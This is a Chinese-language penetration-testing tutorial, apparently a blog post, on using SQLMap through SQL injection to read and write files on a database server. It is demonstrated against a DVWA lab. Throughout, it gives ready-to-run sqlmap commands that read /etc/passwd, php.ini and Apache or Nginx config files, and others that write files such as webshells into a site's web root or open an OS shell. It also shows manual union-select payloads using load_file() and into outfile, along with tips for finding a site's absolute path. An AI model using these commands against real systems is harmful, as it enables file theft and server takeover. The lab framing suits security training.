SQL注入实战— SQLMap之服务器端文件读写


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

读取与写入文件

总结举例

       当然这个也可以通过手注来写入

最后我们拿一个dvwa 线上靶场,来实现读写操作

读取server服务器文件

在server服务器写入文件


读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

•  –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)

•  –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)

 –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

#示例:

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

 

file-read  读取web文件

   sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

 

 file-write写入文件到web

     sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2

 

使用shell命令:

 sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

接下来指定网站可写目录:

“E:\php\htdocs\dvwa”

 

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

 

总结举例:

root权限注入点可以尝试读取系统文件,比如/etc/passwd,以及apache,nginx的配置文件等,相关配置文件路径如下:

 

nginx: usr/local/nginx/conf/nginx.conf

 

常用的apache配置文件路径有:

 

/etc/httpd/conf/httpd.conf

 

/usr/local/apache/conf/httpd.conf

 

/usr/local/apache2/conf/httpd.conf

 

sqlmap读取文件语法:

 

./sqlmap.py -u "http://www.nxadmin.com/sql-injection.php?id=1" --file-read "/etc/passwd"

 

如果magic_quotes_gpc=off就可以尝试进行写入Webshell,sqlmap写入文件语法:

 

./sqlmap.py -u "http://www.nxadmin.com/sql-injection.php?id=1" –file-write /test/test.txt –file-dest /var/www/html/1.txt

 

将本地的test.txt写入到站点服务器的html目录下。

 

当然这个也可以通过手注来写入

文件读取使用load_file()函数:

使用之前我们需要先找到网站的绝对路径。(获取办法:报错显示、谷歌语法、site:目标网站 warning、遗留文件如phpinfo、漏洞爆出路径、读取配置文件)

注意路径符号:错误“\” 正确"\\" 正确"/"。如果将路径转换为16进制就可以不用引号。

 

举例:

union select 1,load_file(“c:/inetpub/wwwroot/index.php”),3

文件写入使用into outfile函数:

使用办法如下:

union select 1,"",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'

 

最后我们拿一个dvwa 线上靶场,来实现读写操作,实例如下:

读取server服务器文件

      1.打开http://10.1.1.136,输入用户名:admin 密码:password,登录

      SQL注入实战— SQLMap之服务器端文件读写_第1张图片

      2.找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie

      3.选择Command Execution,并输入:10.1.1.136 & pwd来获得一个绝对路径,

/opt/lampp/htdocs/vulnerabilities/exec

      SQL注入实战— SQLMap之服务器端文件读写_第2张图片

      4.输入:sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --

cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini

      成功读取了php.ini文件,并返回了路径。

      SQL注入实战— SQLMap之服务器端文件读写_第3张图片

      打开文件:

      SQL注入实战— SQLMap之服务器端文件读写_第4张图片

 

在server服务器写入文件

      1.输入:sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --

cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt

      说明:将本地C:\1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt

      本地文件如下:

      SQL注入实战— SQLMap之服务器端文件读写_第5张图片

      执行结果:

      SQL注入实战— SQLMap之服务器端文件读写_第6张图片

 

      2.打开http://10.1.1.136/vulnerabilities/exec/1.txt如下图:

      SQL注入实战— SQLMap之服务器端文件读写_第7张图片


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(SQLMap,渗透测试,前渗透篇)